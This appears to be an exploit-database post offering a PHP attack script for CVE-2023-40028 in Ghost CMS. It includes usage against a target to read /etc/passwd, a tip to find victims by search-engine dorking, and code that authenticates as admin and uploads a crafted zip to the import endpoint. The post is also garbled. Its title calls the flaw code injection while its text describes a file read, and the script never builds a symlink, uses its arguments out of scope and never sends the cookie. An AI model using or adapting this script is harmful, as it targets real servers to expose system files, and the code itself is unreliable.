=============================================================================================================================================
| # Title : Ghost CMS =============================================================================================================================================
| # Title : Ghost CMS v 5.59.1 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://ghost.org/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description:

To exploit the CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS) vulnerability using this PHP script, you need to follow some basic steps to run the script properly.
These are the steps to follow for the exploit:
1. Set up the Target
Make sure that you have access to the Ghost CMS system that contains the CVE-2023-40028 vulnerability.
This vulnerability is related to uploading and reading symlink files in an insecure manner in the Ghost CMS.
2. Install the required libraries
Before you can successfully run the script, make sure that you have installed all the required libraries, such as the GuzzleHttp library that the script uses to send HTTP requests.

[+] save code as poc.php .

[+] USage : C:\www>php 2.php -t http://example.com -f /etc/passwd

[+] PayLoad :

<?php
// This script is used to exploit CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS).

use GuzzleHttp\Client;
use GuzzleHttp\Exception\RequestException;

// ???? ?? ???? ????????? ??? ?????????
$options = getopt("t:f:u:p:c:x:", ['timeout:', 'useragent::']);
if (!isset($options['t'])) {
echo "Error: Target URL is required\n";
exit(1);
}

$args = [
'url' => $options['t'],
'file' => $options['f'] ?? null,
'username' => $options['u'] ?? null,
'password' => $options['p'] ?? null,
'cookie' => $options['c'] ?? null,
'timeout' => $options['timeout'] ?? 3,
'useragent' => $options['useragent'] ?? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
];

// Input-checking
if (!preg_match("/^https?:\/\//", $args['url'])) {
$args['url'] = "http://" . $args['url'];
}

// ???? ????? ?????? ???????
$readFile = function($fileToRead) {
// Upload files
$randchars = bin2hex(random_bytes(13));
$zipfilename = "{$randchars}.zip";
$pngfilename = "{$randchars}.png";

// Create zip
$zip = new ZipArchive();
if ($zip->open($zipfilename, ZipArchive::CREATE) === TRUE) {
$zip->addFromString("content/images/{$pngfilename}", $fileToRead);
$zip->close();
} else {
echo "Error: Failed to create zip file\n";
return;
}

// Upload zip
$client = new Client();
try {
$response = $client->request('POST', $args['url'] . "/ghost/api/v3/admin/db", [
'multipart' => [
[
'name' => 'importfile',
'contents' => fopen($zipfilename, 'r'),
'filename' => $zipfilename
]
],
'timeout' => $args['timeout']
]);
if ($response->getStatusCode() != 200) {
echo "Error: Archive upload failed\n";
return;
}

// Read image
$response = $client->request('GET', $args['url'] . "/content/images/{$pngfilename}", [
'timeout' => $args['timeout']
]);
if ($response->getStatusCode() != 200) {
echo "Error: File read failed\n";
return;
}

$fileContents = $response->getBody()->getContents();
echo $fileContents;
} catch (RequestException $e) {
echo "Error: " . $e->getMessage() . "\n";
}
};

// Authentication check
$client = new Client(['timeout' => $args['timeout']]);

if ($args['cookie']) {
try {
$response = $client->request('GET', $args['url'] . "/ghost/api/v3/admin/session/");
if ($response->getStatusCode() == 200) {
echo "[+] Admin session is valid.\n";
} else {
echo "Error: Invalid cookie\n";
exit(1);
}
} catch (RequestException $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
} else if ($args['username'] && $args['password']) {
$data = ['username' => $args['username'], 'password' => $args['password']];
try {
$response = $client->request('POST', $args['url'] . "/ghost/api/v3/admin/session/", [
'json' => $data
]);
if ($response->getStatusCode() == 201) {
echo "[+] Admin session created successfully.\n";
} else {
echo "Error: Invalid username/password pair\n";
exit(1);
}
} catch (RequestException $e) {
echo "Error: " . $e->getMessage() . "\n";
exit(1);
}
} else {
echo "Error: You must provide either a cookie or a username/password pair.\n";
exit(1);
}

// Execute
if ($args['file']) {
$readFile($args['file']);
} else {
echo "Error: No file path provided\n";
exit(1);
}
?>



Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================